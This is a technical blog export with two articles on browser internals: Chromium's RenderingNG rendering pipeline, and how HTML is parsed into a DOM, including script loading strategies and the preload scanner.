# Sujeet Jaiswal - Technical Blog (Full Content)

> Complete technical blog content for LLM consumption.

Source: https://sujeet.pro
Generated: 2026-04-21T21:25:44.934Z
Total content: 188 (185 articles, 0 blogs, 3 projects)

---

# BROWSER & RUNTIME INTERNALS

Deep dives into browser rendering and JavaScript runtime internals.

---

## Critical Rendering Path: Rendering Pipeline Overview

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-rendering-pipeline-overview
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** The browser’s rendering pipeline transforms HTML, CSS, and JavaScript into visual pixels through a series of discrete, highly optimized stages. Modern browser engines like Chromium employ the RenderingNG architecture—a next-generation rendering system developed between 2014 and 2021—which decouples the main thread from the compositor and GPU processes to ensure 60fps+ performance and minimize interaction latency.

# Critical Rendering Path: Rendering Pipeline Overview

The browser's rendering pipeline transforms HTML, CSS, and JavaScript into visual pixels through a series of discrete, highly optimized stages. Modern browser engines like Chromium employ the **RenderingNG** architecture—a next-generation rendering system developed between 2014 and 2021—which decouples the main thread from the compositor and GPU processes to ensure 60fps+ performance and minimize interaction latency.

<figure>

![The RenderingNG pipeline: Main thread stages (DOM → Paint) produce immutable outputs committed to the compositor thread, which handles rasterization and compositing independently.](./the-renderingng-pipeline-main-thread-stages-dom-paint-produce-immutable-outputs-.svg)

<figcaption>The RenderingNG pipeline: Main thread stages (DOM → Paint) produce immutable outputs committed to the compositor thread, which handles rasterization and compositing independently.</figcaption>

</figure>

## Abstract

The rendering pipeline is fundamentally a **producer-consumer architecture** split across threads and processes:

- **Main Thread**: Produces structured data (DOM, CSSOM, computed styles, layout geometry, property trees, display lists). Each stage's output is immutable once complete.
- **Compositor Thread**: Consumes committed data to handle scrolling, animations (transform/opacity), and frame assembly without blocking the main thread.
- **Viz Process**: Aggregates compositor frames from all sources and issues GPU draw calls.

The key insight: **Property Trees** (transform, clip, effect, scroll) replaced monolithic layer trees, reducing animation updates from O(layers) to O(affected nodes). This enables compositor-driven animations that bypass the main thread entirely—the architectural foundation for responsive scrolling and 60fps animations even when JavaScript is busy.

Performance impact flows from this split: Interaction to Next Paint (INP) measures how quickly the pipeline can present a frame after user input. Each pipeline stage that runs on the main thread directly contributes to input delay and processing time.

## Pipeline Stages: Inputs and Outputs

Each stage has well-defined inputs and outputs. Understanding this data flow is essential for debugging performance issues.

| Stage                                                         | Input                              | Output                                                                     | Consumed By      |
| ------------------------------------------------------------- | ---------------------------------- | -------------------------------------------------------------------------- | ---------------- |
| [**DOM Construction**](../crp-dom-construction/README.md)     | HTML bytes                         | DOM Tree                                                                   | Style Recalc     |
| [**CSSOM Construction**](../crp-cssom-construction/README.md) | CSS bytes                          | CSSOM Tree                                                                 | Style Recalc     |
| [**Style Recalc**](../crp-style-recalculation/README.md)      | DOM + CSSOM                        | ComputedStyle (per node) + **LayoutObject Tree**                           | Layout           |
| [**Layout**](../crp-layout/README.md)                         | LayoutObject Tree + ComputedStyle  | **Fragment Tree** (immutable geometry)                                     | Prepaint         |
| [**Prepaint**](../crp-prepaint/README.md)                     | LayoutObject Tree + Fragment Tree  | **Property Trees** (transform, clip, effect, scroll) + paint invalidations | Paint            |
| [**Paint**](../crp-paint/README.md)                           | LayoutObject Tree + Property Trees | **Display Lists** (drawing commands)                                       | Commit           |
| [**Commit**](../crp-commit/README.md)                         | Property Trees + Display Lists     | Copied data on compositor thread                                           | Layerize, Raster |
| **Layerize**                                                  | Display Lists                      | Composited layer list                                                      | Raster           |
| [**Raster**](../crp-raster/README.md)                         | Display Lists + Tiles              | GPU texture tiles (bitmaps)                                                | Composite        |
| [**Composite**](../crp-composit/README.md)                    | Texture tiles + Property Trees     | Compositor Frame (DrawQuads)                                               | Draw             |
| [**Draw**](../crp-draw/README.md)                             | Compositor Frame                   | Pixels on screen                                                           | Display          |

**Key distinction**: The **LayoutObject Tree** is created during Style Recalc, not Layout. Layout _annotates_ the LayoutObject tree and produces the immutable **Fragment Tree** as its output. Prepaint then traverses the LayoutObject tree (using Fragment Tree data) to build Property Trees.

## The Critical Rendering Path (CRP)

The **Critical Rendering Path (CRP)** is the sequence of steps the browser undergoes to convert code into a visual frame. While traditionally viewed as a linear flow (DOM → CSSOM → Render Tree → Layout → Paint), modern engines employ a granular multi-threaded architecture designed around a core constraint: the main thread handles both JavaScript execution and rendering pipeline stages, so any work on the main thread delays both script responsiveness and visual updates.

### Design Rationale: Why Multi-Threading Matters

> **Prior to RenderingNG (pre-2021)**: Rendering was deeply coupled. Scrolling could trigger expensive style recalculations. Animation of transforms required full layer tree walks. The single-threaded assumption baked into the original WebKit codebase (dating to 1998) meant rendering work blocked JavaScript and vice versa.

RenderingNG's design addresses this by:

1. **Separating concerns**: Each pipeline stage produces well-defined, immutable outputs
2. **Enabling skip logic**: Stages that aren't needed can be bypassed (e.g., transform animations skip layout and paint)
3. **Offloading work**: Compositor-driven operations don't require main thread involvement

## The RenderingNG Pipeline Stages

The pipeline comprises 12 stages, though several can be skipped when unnecessary. The first six run on the main thread; the remainder run on the compositor thread and Viz process.

### DOM Construction

The browser parses HTML bytes into the Document Object Model (DOM) tree. This process is incremental—the browser starts building the tree before the entire document downloads.

**Blocking Behavior**:

- **JS is Parser Blocking**: Synchronous `<script>` tags halt the HTML parser because scripts can call `document.write()`, which modifies the input stream.
- **JS is Non-Render Blocking**: JavaScript doesn't block rendering directly, but it blocks the parser that generates the DOM required for rendering.
- **Preload Scanner**: A secondary parser scans ahead for external resources (JS, CSS, fonts, images) to start downloads early, mitigating parser-blocking delays.

**Design Trade-off**: The parser-blocking behavior exists because JavaScript can modify the document structure mid-parse via `document.write()`. This legacy API forces sequential processing, though `defer` and `async` attributes provide escape hatches for scripts that don't need synchronous document access.

### CSSOM Construction

The browser parses CSS into the CSS Object Model (CSSOM) tree. Unlike DOM construction, CSSOM must be built in its entirety before rendering can occur.

**Blocking Behavior**:

- **CSS is Render Blocking**: The browser won't render content until CSSOM completes, avoiding Flash of Unstyled Content (FOUC).
- **CSS is JS Execution Blocking**: Scripts can query styles via `getComputedStyle()`, so browsers block JS execution until CSSOM is ready.

**Design Trade-off**: The all-or-nothing CSSOM requirement exists because CSS rules can override each other in complex ways (cascade, specificity, `!important`). Partial rendering would show incorrect styles as later rules load. The browser trades initial latency for visual correctness.

### Style Recalculation

The engine combines DOM and CSSOM to determine final computed styles for every element. This stage produces two outputs:

1. **ComputedStyle** for each node—the resolved CSS property values after cascade, inheritance, and `calc()` resolution
2. **LayoutObject Tree**—the tree structure that establishes the order of operations for the layout phase

**Computed Style + LayoutObject Tree vs. Render Tree**:

> **Legacy architecture**: Older browser documentation refers to a **Render Tree**—a tree structure built by combining DOM and CSSOM that contained only visible elements (excluding `display: none`, `<head>`, etc.). Each render tree node stored both the DOM reference and its computed styles.

Modern engines (RenderingNG, BlinkNG) decouple these concerns:

- **Computed styles** are stored as a map attached to DOM nodes, not in a separate tree
- **Visibility filtering** happens later during layout (the Fragment Tree excludes non-rendered elements)
- **Style calculation** is now a discrete phase that can run independently and be cached

This separation enables better incremental updates—changing an element's `display` from `none` to `block` only requires style recalc and layout, not rebuilding a monolithic tree structure.

**Key Details**:

- **Dirty Bit System**: Only elements marked "dirty" (style-invalidated) are recalculated, enabling O(dirty nodes) instead of O(all nodes).
- **Containment Optimization**: Elements with `contain: style` limit style invalidation scope—descendant changes don't invalidate ancestors.

**Edge Case**: Style recalculation can cascade unexpectedly. A change to a parent's `font-size` invalidates all descendants using relative units (`em`, `%`). Container queries introduced additional invalidation paths where ancestor size changes can trigger descendant style recalc.

### Layout (Reflow)

Layout receives the **LayoutObject Tree** (from Style Recalc) and calculates geometry (width, height, x, y) of every visible element. The output is the **Fragment Tree**—an immutable representation of laid-out boxes with resolved physical coordinates.

**LayoutObject Tree vs. Fragment Tree**:

- **LayoutObject Tree** (input): Mutable tree created during style recalc, points to DOM nodes, receives layout annotations
- **Fragment Tree** (output): Immutable tree of `PhysicalFragment` objects with final positions, sizes, and physical coordinates (left/top, not logical)

The Fragment Tree is the "primary, read-only output of layout." Its immutability enables caching and prevents later stages from accidentally modifying geometry.

**Key Details**:

- **Dirty Bit System**: Layout uses dirty flags to recalculate only affected subtrees. The engine distinguishes between "needs layout" and "needs full layout" states.
- **Layout Containment**: Elements with `contain: layout` become layout roots—their descendants' layout changes don't propagate to ancestors.

**Forced Synchronous Layout (Layout Thrashing)**: Reading geometric properties from JavaScript while layout is dirty forces an immediate, synchronous layout:

```js
// ❌ Layout thrashing: each iteration forces layout
for (const el of elements) {
  el.style.width = container.offsetWidth + "px" // read forces layout, write invalidates it
}

// ✅ Batch reads, then batch writes
const width = container.offsetWidth // single read
for (const el of elements) {
  el.style.width = width + "px" // writes only
}
```

**Properties That Force Layout**: `offsetLeft/Top/Width/Height`, `clientLeft/Top/Width/Height`, `scrollLeft/Top/Width/Height`, `getClientRects()`, `getBoundingClientRect()`, `getComputedStyle()` (for layout-dependent properties), `innerText`, `focus()`, `scrollIntoView()`.

### Prepaint

Introduced in RenderingNG, Prepaint performs an in-order traversal of the **LayoutObject tree** (not the Fragment Tree) to build **Property Trees**—separate tree structures for transform, clip, effect (opacity/filters/masks), and scroll. The traversal order matters: it enables efficient computation of DOM-order hierarchy like parent containing blocks.

**Why Property Trees Exist**:

> **Legacy architecture**: Browsers used a monolithic **Layer Tree** where each layer stored its own transform, clip, and effect values. Updating any property required walking the entire tree—O(N) where N is layers.

Property trees decouple these concerns:

- **Transform Tree**: Spatial positioning (translation, rotation, scale)
- **Clip Tree**: Visibility boundaries (overflow, clip-path)
- **Effect Tree**: Visual effects (opacity, filters, blend modes, masks)
- **Scroll Tree**: Scroll offset relationships

Each layer references nodes in these trees by ID. The compositor can update an element's position by applying a different matrix from the Transform Tree without re-walking layout or style.

**Design Trade-off**: Property trees add complexity (four separate trees instead of one) but enable O(1) property updates and compositor-only animations.

### Paint

The browser records drawing commands into **Display Lists**—a sequence of paint operations like "draw rectangle at (0,0) with blue fill."

**Key Details**:

- **Not Pixels**: Paint produces display lists, not actual pixels. Rasterization happens later on the compositor thread.
- **Caching**: The `PaintController` caches display items. Identical items are reused rather than repainted.
- **Subsequence Recording**: Related display items are grouped and cached together. Unchanged subtrees skip painting entirely.

**Layerization**: Based on CSS properties (`will-change`, `transform`, `opacity`, `position: fixed`), the engine determines which elements get their own composited layers. Layerization decisions happen here, not during compositing.

**Edge Case**: Creating too many layers (e.g., hundreds of `will-change: transform` elements) consumes GPU memory and can degrade performance. The browser uses heuristics to limit layer count.

### Commit

The main thread commits updated property trees and display lists to the Compositor thread.

**Key Details**:

- **Synchronous Handoff**: The main thread blocks while the compositor copies data. This is the handoff point between threads.
- **Atomic Update**: All changes from one frame are committed together, ensuring consistency.

**Implementation Detail**: The `ProxyImpl` class enforces thread safety—it only accesses main-thread data structures when the main thread is blocked, verified via DCHECKs in debug builds.

**Frame Boundaries**: A commit marks the point where the main thread's work for a frame is "done." The main thread can begin work on the next frame while the compositor processes the current one.

### Layerize

The Compositor thread breaks display lists into composited layer lists for independent rasterization.

**Why Separate From Paint**: Layerization decisions depend on runtime factors (memory pressure, GPU capabilities, overlap analysis) that the main thread shouldn't wait for. Moving this to the compositor enables faster commits.

### Rasterization

The Compositor thread converts display lists into bitmapped textures (pixels).

**Key Details**:

- **Tiling**: The viewport divides into tiles (typically 256×256 or 512×512 pixels). Only visible and near-visible tiles are rasterized.
- **GPU Acceleration**: Most modern browsers use GPU rasterization via Skia. Software rasterization is the fallback.
- **Modes**: `ZeroCopyRasterBufferProvider` (direct GPU memory), `OneCopyRasterBufferProvider` (CPU to GPU upload), `GpuRasterBufferProvider` (GPU command buffer).

**Image Decoding**: Image decode is the most expensive raster operation. It runs on separate decode threads with dedicated caches for software vs. GPU paths.

**Limitation**: GPU rasterization is single-threaded due to GPU context locks. Image decoding parallelizes, but pixel generation is sequential per tile.

### Activate

The pending tree (staging rasterization results) becomes the active tree (ready for drawing).

**Three Tree States**:

| Tree    | Purpose                                  |
| ------- | ---------------------------------------- |
| Main    | Source of truth for layers (main thread) |
| Pending | Staging area for rasterization work      |
| Active  | Ready for drawing                        |

**Why Two Compositor Trees**: The pending/active split enables atomic visual updates. The active tree remains drawable (scrollable, animatable) while the pending tree completes rasterization. Once ready, activation is instant.

### Compositing

The Compositor thread assembles rasterized tiles into a single frame based on Property Trees.

**Key Details**:

- **Off-Main-Thread**: Scrolling and compositor-driven animations (transform, opacity) happen here without main thread involvement.
- **Draw Quads**: The compositor produces `DrawQuad` objects describing how to render each tile, ordered back-to-front.
- **RenderPasses**: Complex effects (masks, filters, clips on rotated content) use intermediate render passes.

**Compositor-Only Animations**: Animations affecting only `transform` or `opacity` can run at 60fps even with a busy main thread because the compositor has everything needed in the property trees. This is why `will-change: transform` exists—it hints the browser to promote the element to its own layer.

### Draw

The Viz process issues the final GPU commands to render the composited frame.

**Key Details**:

- **Viz Process**: A separate process that receives compositor frames from all sources (multiple tabs, browser UI) and aggregates them.
- **VSync Synchronization**: Drawing synchronizes with the display's refresh rate (60Hz, 120Hz, 144Hz) to avoid tearing.
- **Final Aggregation**: `SurfaceAggregator` combines frames; `DirectRenderer` executes the actual GL/Vulkan/Metal commands.

**Process Isolation**: Viz runs in a separate process so GPU driver crashes don't take down the entire browser.

## Performance Impact: Interaction to Next Paint (INP)

**Interaction to Next Paint (INP)** is a Core Web Vital measuring responsiveness. It captures the latency from user interaction to the next visual update, comprising three phases:

| Phase                  | Description                          | Pipeline Impact                                         |
| ---------------------- | ------------------------------------ | ------------------------------------------------------- |
| **Input Delay**        | Time before event handlers run       | Blocked by main thread work (long tasks, style, layout) |
| **Processing Time**    | Event handler execution              | JavaScript in event listeners                           |
| **Presentation Delay** | Handler completion → frame displayed | Commit → Raster → Composite → Draw                      |

**Thresholds** (75th percentile):

- **Good**: ≤200ms
- **Needs Improvement**: 201–500ms
- **Poor**: >500ms

**Why Architecture Matters**: RenderingNG's thread isolation means compositor-driven work (scrolling, transform/opacity animations) doesn't contribute to input delay. The main thread stays available for event processing because the compositor handles visual updates independently.

**Optimization Strategies**:

1. **Minimize main thread work**: Long tasks (>50ms) delay both input handling and rendering
2. **Use compositor-friendly properties**: `transform` and `opacity` animations don't require layout or paint
3. **Avoid forced synchronous layout**: Batch DOM reads before writes
4. **Use `content-visibility: auto`**: Defers rendering of off-screen content

## Architecture & Scalability

### Process Isolation

| Process      | Responsibility                       | Count                       |
| ------------ | ------------------------------------ | --------------------------- |
| **Browser**  | UI chrome, navigation, input routing | 1                           |
| **Renderer** | Page rendering, JS execution         | 1 per site (site isolation) |
| **Viz**      | GPU operations, final composition    | 1                           |

The renderer process is sandboxed with minimal OS access. The Viz process handles all GPU communication, isolating graphics driver instability from the rest of the browser.

### Memory Management

- **Tiling**: GPU memory is managed via tiles. Only visible tiles consume GPU resources.
- **Tile Priority**: Tiles are prioritized (visible > soon-visible > prefetch). Under memory pressure, low-priority tiles are discarded.
- **Layer Squashing**: The browser merges layers when possible to reduce memory overhead.

### Scheduler Behavior

The main thread uses priority-based scheduling:

1. **Discrete input events** (click, keydown): Highest priority
2. **Continuous input events** (scroll, mousemove): High priority
3. **Rendering updates** (rAF, style, layout, paint): Normal priority
4. **Background work** (timers, microtasks): Lower priority

**High Latency Mode**: When the main thread can't meet frame deadlines, the scheduler increases pipelining—trading latency for throughput by allowing more frames in flight.

---

## Appendix

### Prerequisites

- Familiarity with the single-threaded event loop model of JavaScript
- Understanding of GPU vs. CPU execution and memory models
- Basic knowledge of CSS cascade, specificity, and inheritance

### Summary

- RenderingNG (2014–2021) replaced monolithic rendering with a pipelined, multi-threaded architecture
- Property Trees enable O(1) compositor-driven animations by decoupling transform, clip, effect, and scroll from the layer hierarchy
- The main thread produces immutable outputs (DOM, styles, layout, paint); the compositor consumes them independently
- Forced synchronous layout occurs when reading geometry properties (e.g., `offsetWidth`) after style/DOM changes
- INP measures the full pipeline latency from interaction to visual update; architecture directly impacts all three phases

### References

- [WHATWG HTML Living Standard - Rendering](https://html.spec.whatwg.org/multipage/rendering.html) — Canonical rendering semantics
- [W3C CSSOM View Module](https://w3c.github.io/csswg-drafts/cssom-view/) — Layout and geometry APIs specification
- [Chromium: RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Official RenderingNG documentation
- [Chromium: RenderingNG Overview](https://developer.chrome.com/docs/chromium/renderingng) — Design goals and history
- [Chromium: BlinkNG Deep Dive](https://developer.chrome.com/docs/chromium/blinkng) — Main thread pipeline phases
- [Chromium: How cc Works](https://chromium.googlesource.com/chromium/src/+/master/docs/how_cc_works.md) — Compositor internals
- [Chromium: Blink Paint README](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/third_party/blink/renderer/core/paint/README.md) — Paint system implementation
- [web.dev: Interaction to Next Paint](https://web.dev/articles/inp) — INP metric definition
- [Paul Irish: What Forces Layout/Reflow](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) — Comprehensive forced layout list
- [MDN: Critical Rendering Path](https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path) — Introduction and overview

### Terminology

- **CRP (Critical Rendering Path)**: The sequence of stages from HTML/CSS/JS to pixels on screen
- **DOM (Document Object Model)**: Tree representation of HTML structure
- **CSSOM (CSS Object Model)**: Tree representation of parsed CSS rules
- **ComputedStyle**: Resolved CSS property values for a node after cascade, inheritance, and calculation
- **LayoutObject Tree**: Mutable tree created during style recalc; establishes layout order; points to DOM nodes
- **Fragment Tree**: Immutable tree of `PhysicalFragment` objects with resolved geometry; output of layout
- **Property Trees**: Separate tree structures for transform, clip, effect, and scroll properties
- **Display Lists**: Recorded drawing commands (not pixels) produced by the paint stage
- **Reflow**: Synonym for layout recalculation
- **Repaint**: Re-recording paint commands when visual styles change without geometry changes
- **Viz**: Chromium's GPU process that aggregates compositor frames and issues draw calls
- **FOUC (Flash of Unstyled Content)**: Visual artifact when content renders before CSS loads
- **INP (Interaction to Next Paint)**: Core Web Vital measuring responsiveness from input to visual update

---

## Critical Rendering Path: DOM Construction

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-dom-construction
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** How browsers parse HTML bytes into a Document Object Model (DOM) tree, why JavaScript loading strategies dictate performance, and how the preload scanner mitigates the cost of parser-blocking resources.

# Critical Rendering Path: DOM Construction

How browsers parse HTML bytes into a Document Object Model (DOM) tree, why JavaScript loading strategies dictate performance, and how the preload scanner mitigates the cost of parser-blocking resources.

<figure>

![The HTML parsing pipeline: bytes flow through an 80+ state tokenizer into tree construction, which uses insertion modes and error recovery to build the DOM. The preload scanner runs in parallel to discover resources early.](./the-html-parsing-pipeline-bytes-flow-through-an-80-state-tokenizer-into-tree-con.svg)

<figcaption>The HTML parsing pipeline: bytes flow through an 80+ state tokenizer into tree construction, which uses insertion modes and error recovery to build the DOM. The preload scanner runs in parallel to discover resources early.</figcaption>

</figure>

## Abstract

The HTML parser is a **state machine with error recovery**—not a traditional parser that rejects malformed input. This design choice, mandated by the HTML5 specification, ensures every document produces a DOM tree regardless of syntax errors.

**Core mental model:**

- **Two parsers, one goal**: The primary parser builds the DOM sequentially; the preload scanner races ahead to discover resources while the primary parser is blocked on scripts.
- **Scripts block because they can write**: `document.write()` can inject content into the token stream mid-parse, forcing synchronous execution. Modern attributes (`defer`, `async`, `type="module"`) opt out of this legacy behavior.
- **CSS blocks scripts, not parsing**: The parser continues building the DOM while CSS loads, but script execution waits for CSSOM completion because scripts may query computed styles.

**The blocking chain:**

```
HTML Parser → encounters <script> → pauses
                                   ↓
                           Script downloads
                                   ↓
                           CSS finishes (if pending)
                                   ↓
                           Script executes
                                   ↓
                           Parser resumes
```

The preload scanner exists because this chain is expensive. By scanning ahead during parser blocks, browsers achieve ~20% faster page loads.

## The Parsing Pipeline

The HTML parser transforms bytes into a DOM tree through two primary stages defined by the [WHATWG HTML specification](https://html.spec.whatwg.org/multipage/parsing.html):

### Stage 1: Tokenization

The tokenizer is a state machine with **80+ distinct states** that processes the character stream and emits tokens. Key state categories:

| State Category           | Purpose                      | Example Transitions                      |
| ------------------------ | ---------------------------- | ---------------------------------------- |
| **Data states**          | Normal content parsing       | Data → Tag Open → Tag Name               |
| **Tag parsing**          | Element recognition          | `<` triggers Tag Open state              |
| **Attribute handling**   | Name/value extraction        | Attribute Name → Before Attribute Value  |
| **Script data**          | Special script content rules | Handles `</script>` detection in strings |
| **Character references** | Entity decoding              | `&amp;` → `&`                            |

The tokenizer emits five token types: DOCTYPE, start tag, end tag, comment, and character tokens. Each token triggers tree construction actions.

### Stage 2: Tree Construction

Tree construction uses **insertion modes** to determine how tokens modify the DOM. The specification defines 23 insertion modes including:

- `initial`, `before html`, `before head`, `in head`, `after head`
- `in body` (handles most content)
- `in table`, `in row`, `in cell` (table-specific rules)
- `in template` (for `<template>` elements)

The parser maintains two critical data structures:

1. **Stack of open elements**: Tracks the current nesting context
2. **List of active formatting elements**: Handles `<b>`, `<i>`, `<a>` across misnested tags

```html collapse={1-5,8-12}
<!doctype html>
<html>
  <head>
    <link href="style.css" rel="stylesheet" />
  </head>
  <body>
    <p>Hello <span>web performance</span> students!</p>
  </body>
</html>
```

<figure>

![DOM Construction Example](./dom-construction-example.invert.png)

<figcaption>DOM tree construction from HTML parsing: each element becomes a node with parent-child relationships preserved.</figcaption>

</figure>

## HTML5 Error Recovery

Unlike XML parsers that reject malformed input, the HTML parser **always produces a DOM tree**. The specification defines exact error recovery behavior for every malformed pattern, ensuring consistent results across browsers.

### The Adoption Agency Algorithm

When formatting elements like `<b>` or `<i>` are improperly nested, the adoption agency algorithm restructures the DOM to match user intent:

```html
<!-- Input: misnested tags -->
<p>One <b>two <i>three</b> four</i> five</p>

<!-- Parsed result: algorithm "adopts" nodes to fix nesting -->
<p>One <b>two <i>three</i></b><i> four</i> five</p>
```

The algorithm earned its name because "elements change parents"—nodes are reparented to produce valid structure. The spec notes this was chosen over alternatives including the "incest algorithm" and "Heisenberg algorithm."

### Foster Parenting

When content appears inside `<table>` where it's not allowed, the parser uses **foster parenting** to place it before the table:

```html
<!-- Input: text directly in table -->
<table>
  Some text
  <tr>
    <td>Cell</td>
  </tr>
</table>

<!-- Parsed result: text "fostered" before table -->
Some text
<table>
  <tbody>
    <tr>
      <td>Cell</td>
    </tr>
  </tbody>
</table>
```

The foster parent is typically the element before the table in the stack of open elements. This explains why stray text inside tables appears above them in the rendered output.

### Common Parse Errors

The specification defines 70+ parse error codes. Common scenarios:

| Error                       | Input                 | Recovery Behavior        |
| --------------------------- | --------------------- | ------------------------ |
| `duplicate-attribute`       | `<div id="a" id="b">` | Second attribute ignored |
| `end-tag-with-attributes`   | `</div class="x">`    | Attributes ignored       |
| `missing-end-tag-name`      | `</>`                 | Treated as bogus comment |
| `unexpected-null-character` | `<div>\0</div>`       | Replaced with U+FFFD     |

---

## Why Incremental Parsing Matters

Unlike [CSSOM construction](../crp-cssom-construction/README.md), DOM construction doesn't require the complete document. The browser parses and builds incrementally, enabling:

- **Early resource discovery**: The preload scanner finds `<link>` and `<script>` tags before the main parser reaches them.
- **Progressive rendering**: Content above the fold displays as soon as it's parsed and styled.
- **Streaming HTML**: Chunked transfer encoding allows parsing to begin before the full response arrives.

---

## Browser Design: Why JavaScript Blocks Parsing

By default, `<script>` tags block HTML parsing because scripts can modify the document during parsing via `document.write()`. This legacy API injects content directly into the token stream:

```html collapse={1-2,7-8}
<head>
  <script>
    // This writes tokens directly into the parser's input stream
    document.write('<link rel="stylesheet" href="injected.css">')
  </script>
</head>
```

Because the parser cannot predict what a script will write, it must pause, execute the script, then continue with any newly injected content. This is why scripts are **parser-blocking** by default.

### The Full Blocking Chain

1. HTML parser encounters a `<script>` tag
2. Parser pauses (cannot proceed—script might call `document.write()`)
3. Script downloads (if external)
4. If CSS is still loading, execution waits for CSSOM completion
5. Script executes (may inject content via `document.write()`)
6. Any written content is tokenized and processed
7. Parser resumes from where it paused

**Critical distinction**: CSS blocks JavaScript **execution**, not **download**. The browser fetches scripts in parallel but won't run them until pending stylesheets complete. This prevents scripts from reading incorrect computed styles via `getComputedStyle()`.

### Chrome's document.write() Intervention

> **Since Chrome 55 (2016)**: Chrome blocks `document.write()`-injected scripts under specific conditions to protect users on slow connections.

The intervention triggers when **all** conditions are met:

- User is on 2G or slow 3G connection
- Script is in the top-level document (not iframes)
- Script is parser-blocking (no `async`/`defer`)
- Script is cross-origin (different eTLD+1)
- Script isn't cached
- Page load wasn't triggered by reload

Chrome's field trial showed dramatic improvements: 10% more pages reaching First Contentful Paint (FCP), 21% faster mean time to FCP, and 38% faster parsing (nearly 6 seconds on 2G).

**Recommendation**: Never use `document.write()` for loading scripts. Use `defer`, `async`, or DOM insertion methods instead.

---

## Browser Design: Why CSS is Render-Blocking

CSS blocks rendering—not parsing—because the cascade cannot be resolved incrementally.

If browsers rendered with a partial CSSOM, users would experience a **Flash of Unstyled Content (FOUC)** or "Flash of Wrong Styles" as later rules override earlier ones. Browsers wait for a complete CSSOM to ensure visual stability and prevent layout shifts.

### When CSS Becomes Parser-Blocking

CSS becomes parser-blocking when a `<script>` follows it in the document:

```html collapse={1}
<head>
  <link rel="stylesheet" href="styles.css" />
  <!-- CSS is downloading... -->

  <script src="app.js"></script>
  <!-- Parser blocks here! Waiting for CSS + JS -->
</head>
```

The browser must wait for CSS to finish to build the CSSOM, so it can safely execute the script, which in turn blocks the parser. This indirect blocking is a common performance bottleneck.

**Design rationale**: Scripts might call `getComputedStyle()` or access `element.offsetWidth`, which require resolved styles. Running a script before CSSOM completion could return incorrect values, leading to layout bugs.

---

## JavaScript Loading Strategies

<figure>

![Async, Defer, Module Diagram](./asyncdefer.inline.svg)

<figcaption>Timeline comparison: default scripts block parsing; async/defer enable parallel download.</figcaption>

</figure>

### Default (Parser-Blocking)

```html
<script src="app.js"></script>
```

- Blocks HTML parsing until download and execution complete
- Preserves document order
- **Use for**: Legacy scripts that require `document.write()` (avoid if possible)

### Async

```html
<script src="analytics.js" async></script>
```

- Downloads in parallel with parsing
- Executes immediately upon download (interrupts parser briefly)
- **Order NOT preserved**—whichever script downloads first runs first
- **Use for**: Independent third-party scripts (analytics, ads, widgets)

**Edge case**: If an async script downloads before parsing reaches it, execution still interrupts the parser. This is why async scripts can cause unpredictable layout shifts if they modify the DOM.

### Defer

```html
<script src="app.js" defer></script>
```

- Downloads in parallel with parsing
- Executes after the DOM is fully parsed but before `DOMContentLoaded`
- **Order preserved**—scripts execute in document order regardless of download completion order
- **Use for**: Primary application scripts

**The DOMContentLoaded timing**: Deferred scripts execute in the gap between DOM completion and `DOMContentLoaded` firing. Event listeners for `DOMContentLoaded` will not run until all deferred scripts complete.

### Module Scripts

```html
<script type="module" src="app.js"></script>
```

- **Deferred by default** (no need to add `defer`)
- Supports ES Module features: `import`/`export`, top-level `await`
- Executes once per URL (singleton behavior)—importing the same module twice returns the same instance
- **Strict mode always enabled**
- **CORS required** for cross-origin modules (unlike classic scripts)

Adding `async` to a module script makes it execute immediately when ready, like async classic scripts:

```html
<script type="module" async src="analytics-module.js"></script>
```

### Modulepreload

> **Browser support (2023+)**: Chrome 66+, Firefox 115+, Safari 17+

`<link rel="modulepreload">` preloads ES modules with parsing and compilation:

```html
<link rel="modulepreload" href="app.js" />
<link rel="modulepreload" href="utils.js" />
<script type="module" src="app.js"></script>
```

Unlike `rel="preload"`, modulepreload:

- **Parses and compiles** the module ahead of time (preload only caches bytes)
- **Uses correct credentials mode** (`omit` by default for modules)
- **Can optionally preload the dependency tree** (browser-dependent behavior)

**Best practice**: List all dependencies explicitly rather than relying on browser tree-walking, which varies by implementation.

### Summary Table

| Mode           | Parser Blocking | Order Preserved | When Executes         | Best For               |
| -------------- | --------------- | --------------- | --------------------- | ---------------------- |
| Default        | Yes             | Yes             | Immediately           | Legacy scripts (avoid) |
| `async`        | No              | No              | When downloaded       | Analytics, ads         |
| `defer`        | No              | Yes             | After DOM, before DCL | App scripts            |
| `module`       | No              | Yes             | After DOM, before DCL | Modern apps            |
| `module async` | No              | No              | When downloaded       | Independent ES modules |

---

## The Preload Scanner

The **preload scanner** (also called "speculative parser" or "lookahead pre-parser") is one of the most significant browser optimizations ever implemented. When Mozilla, WebKit, and IE added preload scanners in 2008, they measured **~20% improvement** in page load times.

### How It Works

When the main parser blocks on a script, a lightweight secondary parser scans ahead through the remaining HTML to discover external resources. It doesn't build a DOM—it only extracts resource URLs and initiates fetches.

```
Main Parser: <html><head><script src="app.js">
                                     ↓ BLOCKED
                          Preload Scanner: scans ahead →
                          Finds: style.css, logo.png, analytics.js
                          Initiates parallel downloads
```

By the time the blocking script completes and the main parser reaches these resources, they may already be downloaded or in progress.

### What It Discovers

The preload scanner examines raw HTML markup for:

- `<link rel="stylesheet" href="...">`
- `<script src="...">`
- `<img src="...">` and `srcset` attributes
- `<link rel="preload" href="...">`
- `<link rel="modulepreload" href="...">`
- Inline `@import` rules in `<style>` blocks (Blink/WebKit)

### What It Misses

Resources invisible to the preload scanner become performance bottlenecks:

| Pattern                            | Why It's Invisible              | Alternative                               |
| ---------------------------------- | ------------------------------- | ----------------------------------------- |
| `document.createElement('script')` | Created by JS execution         | Use declarative `<script async>`          |
| CSS `background-image`             | Inside CSS files, not HTML      | Use `<link rel="preload">`                |
| CSS `@import` in external files    | Scanner doesn't parse CSS files | Inline critical `@import` or use `<link>` |
| Lazy-loaded images (`data-src`)    | Non-standard attribute          | Use native `loading="lazy"`               |
| SPA-rendered content               | Requires JS execution           | Use SSR/SSG for critical content          |
| Font files referenced in CSS       | Inside CSS files                | Use `<link rel="preload" as="font">`      |

